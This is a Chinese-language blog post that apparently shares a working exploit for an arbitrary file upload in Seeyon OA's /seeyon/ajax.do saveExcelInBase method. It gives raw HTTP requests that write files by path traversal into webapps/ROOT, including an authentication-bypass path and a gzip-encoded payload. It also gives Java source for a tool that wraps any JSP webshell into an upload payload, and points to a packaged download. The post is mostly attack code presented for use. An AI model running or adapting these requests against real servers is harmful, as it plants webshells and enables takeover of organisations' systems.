抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

最近在实战中遇到了一点小问题,致远 /seeyon/ajax.do 接口存在一个 saveExcelInBase 功能的任意文件上传点。正常上传的文件内容开头和结尾会出现双引号。比如上传的内容为 HelloWorld ,上传成功后访问即变成了 “HelloWorld” 。

1
2
3
4
5
6
7
8
9
POST /seeyon/ajax.do HTTP/1.1  
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 uacq
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: JSESSIONID=CB1120AE205DAFD7FF70EAF5DC1241B9
Content-Length: 154
Connection: close

method=ajaxAction&managerName=fileToExcelManager&managerMethod=saveExcelInBase&arguments=["../webapps/ROOT/ceshi.txt","",{"columnName":['HelloWorld']}]

图片

当上传jsp或者jspx结尾的webshell时,就会导致无法解析。当然网上也存在如下POC,通过生成gzip数据来绕过限制,可正常解析jsp文件,但是这个位置只是展示了几个解析后的字符,不是我们想要的Webshell。

1
2
3
4
5
6
7
8
9
10
POST /seeyon/autoinstall.do/../ajax.do?method=ajaxAction&managerName=fileToExcelManager HTTP/1.1
Host: xxx
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 6357

managerMethod=saveExcelInBase&managerName=fileToExcelManager&method=ajaxAction&requestCompress=gzip&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00%5D%C2%8D%C3%81%0A%C3%820%10D%7F%C2%A5%2C%14%14B%C3%A2%C2%B9%C2%8A%C3%A7%1E%C3%84%C2%82%14%3C4%3D%C2%A46%C3%98H%C2%9A%C2%84dC%05%C3%B1%C3%9FM%09zp%C3%B64%C2%8F%C3%A5M%07%C2%94%C2%B2E%0E%C3%82%C2%B9%C3%80.M%C3%93%C2%B2%27%7D%04%07%04x%3A+%2F%C2%B8Y%1Dgs%16%C2%B3%C2%84%C2%AA%5B%C2%A9%C3%A7%C3%A6P%166%22u%5E%19%C3%94f%C3%83%01%C2%BF%C3%A1%C2%B0%C3%9D%17%C3%A51%C2%BFAO%60%14%28j%29%C3%86%C2%93%0A%C2%98%04%C2%89d%C3%A1U%C3%A1%04%C2%95%C2%89Z%13%08%C2%93%C2%94%C2%98%172%40%C2%85%C3%BAWB%1C%C3%9A%C2%BF%5EKu%C2%9F%C2%92nG%C3%80%C3%9Be%C3%95%C2%BE%C3%BB%0F%C3%8BJZ%C2%B7%C3%8A%00%00%00

图片

根据作者的代码可以看到解析字符的生成方式,但是我们该如何把<% out.println("ttttttttt"); %>改为自己的webshell代码呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.seeyon.ctp.common.excel.DataRecord;
import com.seeyon.ctp.common.log.CtpLogFactory;
import com.seeyon.ctp.util.ZipUtil;
import com.seeyon.ctp.util.json.JSONUtil;
import org.apache.commons.logging.Log;

import java.net.URLEncoder;
import java.util.ArrayList;

public class fileToExcelManagerPayload {
private static final Log LOGGER = CtpLogFactory.getLog(fileToExcelManagerPayload.class);
public static void main(String[] args) {

DataRecord d = new DataRecord();
String[] c = {"\"\r\n"+"<% out.println(\"ttttttttt\"); %>"+"\"\r\n"};
d.setColumnName(c);
String dd = JSONUtil.toJSONString(d);
final ArrayList<Object> list = new ArrayList<>();
list.add("../webapps/ROOT/x.jsp");
list.add("\"\"");
list.add(d);
final String list1 = JSONUtil.toJSONString(list);
String strArgs = ZipUtil.compressResponse(list1, "gzip", "UTF-8", LOGGER);
System.out.println(URLEncoder.encode(strArgs));
System.out.println("end");

}
}

首先去寻找这五个导入的类,可以从\webapps\seeyon\WEB-INF\lib下找到大量jar文件。

1
2
3
4
5
import com.seeyon.ctp.common.excel.DataRecord;
import com.seeyon.ctp.common.log.CtpLogFactory;
import com.seeyon.ctp.util.ZipUtil;
import com.seeyon.ctp.util.json.JSONUtil;
import org.apache.commons.logging.Log;

通过在\webapps\seeyon\WEB-INF\lib下运行下述代码可以快速从大量jar包中找到我们需要的jar包,其中xxx可以填写内容DataRecord,也可以填写内容ctp.common.excel.DataRecord。

1
for %i in (*.jar) do @jar tf "%i" | findstr "xxx" && echo ---- found in %i

运行结果如下所示。

1
2
3
4
5
6
for %i in (*.jar) do @jar tf "%i" | findstr "ctp.util.json.JSONUtil" && echo ---- found in %i
com/seeyon/ctp/util/json/JSONUtil$DateToStringSerializer.class
com/seeyon/ctp/util/json/JSONUtil$FloatToStringSerializer.class
com/seeyon/ctp/util/json/JSONUtil.class
com/seeyon/ctp/util/json/JSONUtil$1.class
---- found in seeyon-util.jar

我们可以很快速的找到需要的jar包。

1
2
3
4
5
com.seeyon.ctp.common.excel.DataRecord ---> seeyon-ctp-core.jar
com.seeyon.ctp.common.log.CtpLogFactory ---> seeyon-util.jar
com.seeyon.ctp.util.ZipUtil ---> seeyon-util.jar
com.seeyon.ctp.util.json.JSONUtil ---> seeyon-util.jar
org.apache.commons.logging.Log ---> commons-logging.jar

找到之后在IDEA中将本地Jar作为依赖添加进去即可。当然嫌麻烦的师傅,可以选择将整个/WEB-INF/lib全部导入(这样做的后果就是打包出来的Jar文件超级大)。

然后根据原作者的代码小小的二开一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import com.seeyon.ctp.common.excel.DataRecord;
import com.seeyon.ctp.common.log.CtpLogFactory;
import com.seeyon.ctp.util.ZipUtil;
import com.seeyon.ctp.util.json.JSONUtil;
import org.apache.commons.logging.Log;

import java.io.IOException;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Random;

public class FileToExcelManagerPayload {
private static final Log LOGGER = CtpLogFactory.getLog(FileToExcelManagerPayload.class);
private static final String DEFAULT_DIR = "../webapps/ROOT/";
private static final int RANDOM_FILENAME_LENGTH = 6;
private static final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789";

public static void main(String[] args) {
try {
if (args.length == 0) {
printUsage();
System.exit(1);
}

String jspFilePath = args[0];
String address = args.length >= 2 ? args[1] : generateRandomFilename();

System.out.println("[+] Reading JSP file: " + jspFilePath);
System.out.println("[+] Using address: " + address);

String jspContent = readFileContent(jspFilePath);
String payload = generatePayload(jspContent, address);

System.out.println("\n[+] Generated payload:");
System.out.println(URLEncoder.encode(payload));
System.out.println("\n[+] Done");
} catch (Exception e) {
System.err.println("[!] Error occurred:");
e.printStackTrace();
System.exit(1);
}
}

private static void printUsage() {
System.err.println("Usage: java -Dfile.encoding=UTF-8 -jar ManagerPayload.jar <jspFilePath> [address]");
System.err.println("Example (random filename): java -Dfile.encoding=UTF-8 -jar ManagerPayload.jar webshell.jsp");
System.err.println("Example (custom address): java -Dfile.encoding=UTF-8 -jar ManagerPayload.jar webshell.jsp ../webapps/ROOT/test.jsp");
System.err.println("\nNote: If address is not provided, a random filename will be generated in " + DEFAULT_DIR);
}

private static String readFileContent(String filePath) throws IOException {
return new String(Files.readAllBytes(Paths.get(filePath)));
}

private static String generateRandomFilename() {
Random random = new Random();
StringBuilder sb = new StringBuilder(DEFAULT_DIR);
for (int i = 0; i < RANDOM_FILENAME_LENGTH; i++) {
int index = random.nextInt(CHARACTERS.length());
sb.append(CHARACTERS.charAt(index));
}
sb.append(".jsp");
return sb.toString();
}

private static String generatePayload(String jspContent, String address) {
DataRecord d = new DataRecord();
String[] c = {"\n\r" + jspContent + "\n\r"};
d.setColumnName(c);

ArrayList<Object> list = new ArrayList<>();
list.add(address);
list.add("\"\"");
list.add(d);

String jsonPayload = JSONUtil.toJSONString(list);
return ZipUtil.compressResponse(jsonPayload, "gzip", "UTF-8", LOGGER);
}
}

嫌麻烦的师傅可以直接下载已经打包好的工具,点击项目地址